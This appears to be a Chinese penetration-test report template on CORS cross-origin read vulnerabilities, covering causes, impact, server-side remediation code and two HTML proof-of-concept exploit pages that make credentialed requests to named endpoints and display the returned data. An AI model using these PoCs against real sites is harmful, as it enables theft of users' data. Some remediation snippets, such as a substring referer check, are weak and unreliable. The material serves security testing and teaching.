CORS跨域资源读取漏洞
漏洞名称 |
CORS跨域资源读取漏洞 |
漏洞地址 |
|
漏洞等级 |
中危 |
漏洞描述 |
CORS(Cross-Origin Resource Sharing)跨源资源读取漏洞是指在使用CORS机制进行跨域资源共享时,由于不当的配置,攻击者可以在受害者浏览器中执行恶意请求,访问受害者的敏感信息。 |
漏洞成因 |
1.不当的CORS配置: 如果服务器不正确配置CORS,允许任意源访问敏感资源,攻击者就可以利用这一点进行恶意操作。 2.过于宽松的CORS策略: 如果CORS策略过于宽松,允许所有来源(Access-Control-Allow-Origin: *)访问敏感资源,就会导致安全漏洞。 |
漏洞危害 |
1.敏感信息泄漏: 攻击者可以通过恶意网站发起CORS请求,获取用户在目标站点上的敏感信息。 2.执行未经授权的操作: 如果服务器响应包含过于宽松的CORS头部,攻击者可以以用户的身份执行未经授权的操作。 |
修复建议 |
通用修复建议: 1.具体指定允许的来源: 在CORS配置中,应明确指定允许访问资源的来源,而不是使用通配符*。 2.携带身份验证信息时要求具体来源: 如果资源需要身份验证信息,不应该允许所有来源访问,而是明确指定允许的来源,并且在Access-Control-Allow-Credentials头部设置为true。 3.限制允许的方法和标头: 通过Access-Control-Allow-Methods和Access-Control-Allow-Headers头部,限制允许的HTTP方法和HTTP标头,以减少攻击面。
Nginx设置CORS实现跨域访问
默认情况下Ajax在请求跨域的时候会被阻止,如调用API/前端库字体等不方便,可通过如下设置来实现跨域访问。
Nginx配置
在nginx server段内添加如下代码,并重启Nginx即可:
location /{ add_header 'Access-Control-Allow-Origin' ip地址; add_header 'Access-Control-Allow-Credentials' 'true'; add_header 'Access-Control-Allow-Headers' 'Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Mx-ReqToken,X-Requested-With'; add_header 'Access-Control-Allow-Methods' 'GET,POST'; }
注意:add_header 'Access-Control-Allow-Origin' ip地址 需要进行定ip配置。
参考代码:
// 跨域请求前设置正确的CORS头 response.setHeader("Access-Control-Allow-Origin", "http://example.com"); response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTIONS"); response.setHeader("Access-Control-Allow-Headers", "X-Requested-With,Content-Type");
// 服务端校验referer头并设置允许的origin if (request.getHeader("referer") != null && request.getHeader("referer").contains("http://example.com")) { response.setHeader("Access-Control-Allow-Origin", "http://example.com"); } else { response.sendError(403); // Forbidden }
// 前端通过AJAX发起跨域请求 var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://example.org/cors-endpoint'); xhr.setRequestHeader('Origin', 'http://example.com'); xhr.send();
// 服务端检验origin头并做出响应 if (request.getHeader("Origin") != null && request.getHeader("Origin").equals("http://example.com")) { response.setHeader("Access-Control-Allow-Origin", "http://example.com"); } else { response.sendError(403); }
// 使用CORS middleware对所有请求设置默认CORS头 app.use((req, res, next) => { res.setHeader('Access-Control-Allow-Origin', 'http://example.com'); res.setHeader( 'Access-Control-Allow-Methods', 'GET, POST, OPTIONS, PUT, PATCH, DELETE' ); res.setHeader( 'Access-Control-Allow-Headers', 'X-Requested-With,content-type' ); next(); });
在Java中,可以通过使用Spring Framework来配置CORS的策略。以下是一个简单的修复示例:
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController;
@RestController @RequestMapping("/api") public class MyController {
@CrossOrigin(origins = "https://trusteddomain.com", allowCredentials = "true") @GetMapping("/secured-resource") public String getSecuredResource() { // Logic to handle the secured resource return "This is a secured resource"; } }
在上述示例中,@CrossOrigin注解用于配置CORS策略。origins参数指定了允许的来源,allowCredentials参数设置为true表示允许携带身份验证信息。请根据实际需求进行调整,确保CORS策略严格限制访问资源的来源。 |
初测过程 |
数据采用GET或POST请求,数据包中各参数均为用户可控参数,没有设置CSRF-Token,没有验证Referer字段,没有图形验证码和短信、邮件验证码,同时也没有校验非标准Http头部X-Requested-With: XMLHttpRequest,没有设置自定义的Http头部字段,access-control-allow-credentials: true同时access-control-allow-origin的值随着Origin的值而变化,所以综上判断存在网站存在CORS跨域资源读取漏洞。
构造CORS跨域资源读取漏洞利用代码:
GET请求:
<!DOCTYPE html> <html> <body> <center> <h2>CORS POC Exploit</h2> <h3>Extract SID</h3>
<div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div>
<script> function cors() { var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xmlhttp.open("GET", "https://www.baidu.com/usma/api/v1/system/list?systemName=&pageSize=100&page=1", true); xmlhttp.withCredentials = true; xmlhttp.send(); } </script>
</body> </html>
POST请求:
<!DOCTYPE html> <html> <head> <script> function cors() { var xmlhttp = new XMLHttpRequest(); var params = '{"appAccount":"","positionCode":"","cn":"","companyCode":"","state":"","pageNumber":1,"pageSize":15,"pageCode":"qx01"}'; xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200){ document.getElementById("demo").innerHTML = alert(this.responseText); } }; xmlhttp.open("POST", "http://www.pxc.local/master/userAuth/list", true); xmlhttp.setRequestHeader('Content-type', 'application/json;charset=UTF-8'); xmlhttp.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xmlhttp.setRequestHeader('CSRF', 'Token'); xmlhttp.setRequestHeader('Accept', ''); xmlhttp.setRequestHeader('X-AUTH-TOKEN', 'X-AUTH-TOKEN'); xmlhttp.setRequestHeader('X-AUTH-UID', 'X-AUTH-UID'); xmlhttp.withCredentials = true; xmlhttp.send(params); } </script> </head> <body> <center> <h2>CORS POC</h2> <h3>Extract Information</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> </body> </html> |
复测过程 |
|
复测结果 |
未修复 |
初测人员 |
|
复测人员 |
原文始发于微信公众号(利刃信安攻防实验室):【漏洞归纳】CORS跨域资源读取漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论